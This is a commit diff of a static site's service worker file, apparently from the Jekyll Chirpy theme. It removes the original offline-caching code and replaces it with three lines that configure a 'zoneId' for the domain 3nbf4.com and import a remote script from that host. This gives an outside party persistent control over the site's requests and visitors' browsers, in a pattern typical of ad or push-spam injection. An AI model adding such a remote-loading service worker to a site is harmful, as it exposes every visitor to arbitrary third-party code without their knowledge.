|
1 | | ---- |
2 | | -layout: compress |
3 | | -# PWA service worker |
4 | | ---- |
5 | | - |
6 | | -self.importScripts('{{ "/assets/js/data/swcache.js" | relative_url }}'); |
7 | | - |
8 | | -const cacheName = 'chirpy-{{ "now" | date: "%Y%m%d.%H%M" }}'; |
9 | | - |
10 | | -function verifyDomain(url) { |
11 | | - for (const domain of allowedDomains) { |
12 | | - const regex = RegExp(`^http(s)?:\/\/${domain}\/`); |
13 | | - if (regex.test(url)) { |
14 | | - return true; |
15 | | - } |
16 | | - } |
17 | | - |
18 | | - return false; |
| 1 | +self.options = { |
| 2 | + "domain": "3nbf4.com", |
| 3 | + "zoneId": 10236867 |
19 | 4 | } |
20 | | - |
21 | | -function isExcluded(url) { |
22 | | - for (const item of denyUrls) { |
23 | | - if (url === item) { |
24 | | - return true; |
25 | | - } |
26 | | - } |
27 | | - return false; |
28 | | -} |
29 | | - |
30 | | -self.addEventListener('install', e => { |
31 | | - self.skipWaiting(); |
32 | | - e.waitUntil( |
33 | | - caches.open(cacheName).then(cache => { |
34 | | - return cache.addAll(resource); |
35 | | - }) |
36 | | - ); |
37 | | -}); |
38 | | - |
39 | | -self.addEventListener('fetch', e => { |
40 | | - e.respondWith( |
41 | | - caches.match(e.request).then(r => { |
42 | | - /* console.log(`[sw] method: ${e.request.method}, fetching: ${e.request.url}`); */ |
43 | | - return r || fetch(e.request).then(response => { |
44 | | - const url = e.request.url; |
45 | | - |
46 | | - if (e.request.method !== 'GET' |
47 | | - || !verifyDomain(url) |
48 | | - || isExcluded(url)) { |
49 | | - return response; |
50 | | - } |
51 | | - |
52 | | - return caches.open(cacheName).then(cache => { |
53 | | - /* console.log('[sw] Caching new resource: ' + e.request.url); */ |
54 | | - cache.put(e.request, response.clone()); |
55 | | - return response; |
56 | | - }); |
57 | | - |
58 | | - }); |
59 | | - }) |
60 | | - ); |
61 | | -}); |
62 | | - |
63 | | -self.addEventListener('activate', e => { |
64 | | - e.waitUntil( |
65 | | - caches.keys().then(keyList => { |
66 | | - return Promise.all( |
67 | | - keyList.map(key => { |
68 | | - if(key !== cacheName) { |
69 | | - return caches.delete(key); |
70 | | - } |
71 | | - }) |
72 | | - ); |
73 | | - }) |
74 | | - ); |
75 | | -}); |
| 5 | +self.lary = "" |
| 6 | +importScripts('https://3nbf4.com/act/files/service-worker.min.js?r=sw') |
0 commit comments